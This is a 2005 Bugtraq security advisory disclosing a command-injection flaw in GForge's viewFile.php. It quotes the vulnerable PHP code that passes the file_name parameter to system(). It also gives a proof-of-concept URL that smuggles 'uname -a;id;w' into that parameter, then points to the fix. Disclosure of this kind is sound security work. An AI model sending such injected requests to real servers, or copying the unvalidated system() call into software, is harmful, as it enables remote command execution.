[<prev] [next>] [day] [month] [year] [list]
Message-ID: <200505241220.06195.spike@miu-ft.org>
Date: Tue, 24 May 2005 12:20:06 +0200
From: Filippo Spike Morelli <spike@...-ft.org>
To: bugtraq@...urityfocus.com
Subject: Gforge - viewFile.php security flaw
--------------------------------------------------------------------------
Vendor : Gforge (http://gforge.org)
Product : gforge
Affected versions : < 4.0
Bug fixed : >= 4.0 & Debian pkg 3.1-30
Vulnerability : Input validation flaw
Problem-Type : remote
Severity : High, arbitrary command execution
Author : Filippo Spike Morelli
--------------------------------------------------------------------------
--------------------------------------------------------------------------
Background
--------------------------------------------------------------------------
GForge helps you manage the entire development life cycle
GForge has tools to help your team collaborate, like message forums and
mailing lists; tools to create and control access to Source Code Management
repositories like CVS and Subversion. GForge automatically creates a
repository and controls access to it depending on the role settings of the
project.
--------------------------------------------------------------------------
Bug Description
--------------------------------------------------------------------------
The scm component shipped with gforge has a bug in the viewFile.php script.
This script is supposed to serve a file info request, outputting its
history, diffs, and all the other relevant info stored in the repository.
There is a flaw in the file_name parameter validation, so a properly
crafted url can lead to arbitrary command execution under the uid the
webserver runs as.
Files involved:
$GFORGE/www/scm/viewFile.php
$GFORGE/common/include/cvsweb/RCSHandler.class
The problem is in "file_name" url field not properly validated.
$GFORGE/www/scm/viewFile.php
.....
if($allow)
{
$DHD = new DirectoryHandler();
$FHD = new FileHandler();
$RCH = new RCSHandler();
$CVSROOT = $GLOBALS['sys_cvsroot_dir'].$cvsroot;
$DIRNAME = ($file_name != "")?"$file_name":"";
$DIRNAME = $CVSROOT.$DIRNAME;
....
$RCSFile = $DIRNAME.",v";
switch($view_action)
{
case "l":
if(false === $RCH->getRCSLog($RCSFile))
echo("Error: ".$RCH->getError());
.....
$GFORGE/common/include/cvsweb/RCSHandler.class
RCSHandles class takes care of managing the RCS log and diffs for the
requested
file, and it is there that the malicious code is actually executed.
......
function getRCSLog($RCSFILE,$REV="all")
{
$rev = "";
if($REV != "all")
$rev = "-r$REV";
$file = $this->generateTemp();
$cmd = "rlog $rev $RCSFILE > $file";
if(false === ($result = system($cmd)))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
{
$this->setError("Could not execute '$cmd'");
return false;
}
.....
by system() the malicious code in $cmd is executed.
--------------------------------------------------------------------------
PoC
--------------------------------------------------------------------------
The analyzed command is "uname -a;id;w"
gforge/xxxx/xx/xx/gforge.log:xxx.xxx.xxx.xxx [xx/xxx/xxxx:xx:xx:xx +xxxx]
"GET /scm/viewFile.php?group_id=11&file_name=%0Auname%20-a;id;w%0a
HTTP/1.1" 200 2977
"-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; Maxthon;
.NET CLR 1.1.4322)"
----- "file_name=%0Auname%20-a;id;w%0a" -----
%0a[A] = hexadecimal code for <return>.
%20 = hexadecimal code for <space>
---> "file_name=<return>uname -a;id;w<return>"
looking at viewFile.php sourcecode:
$DIRNAME = ($file_name != "")?"$file_name":"";
so $DIRNAME = <return>uname -a;id;w<return>
$RCSFile = $DIRNAME.",v";
so $RCSFile = <return>uname -a;id;w<return>,v
...
$cmd = "rlog $rev $RCSFILE > $file";
so $cmd = rlog all <return>uname -a;id;w<return>,v > $file
if(false === ($result = system($cmd)))
and then system executes:
1. rlog all which gives back an error because of the non existing path
2. <return>
3. uname -a;id;w
4. <return>
5. and eventually the last part of the string, ",v", which gives back the
error message "sh: ,v: command not found"
--------------------------------------------------------------------------
Solution
--------------------------------------------------------------------------
The vendor has been contacted and they promptly worked on a fix. At the time
of writing the debian package available on Sid (gforge 3.1-30) has been
fixed. As temporary fix it is possible to disable the scm component. Or just
upgrade to latest version.
regards,
--
Filippo Spike Morelli - Miu-ft System Administrator
....................................
.... follow the white rabbit ....
... wait no, follow alice, she's so cute...
Powered by blists - more mailing lists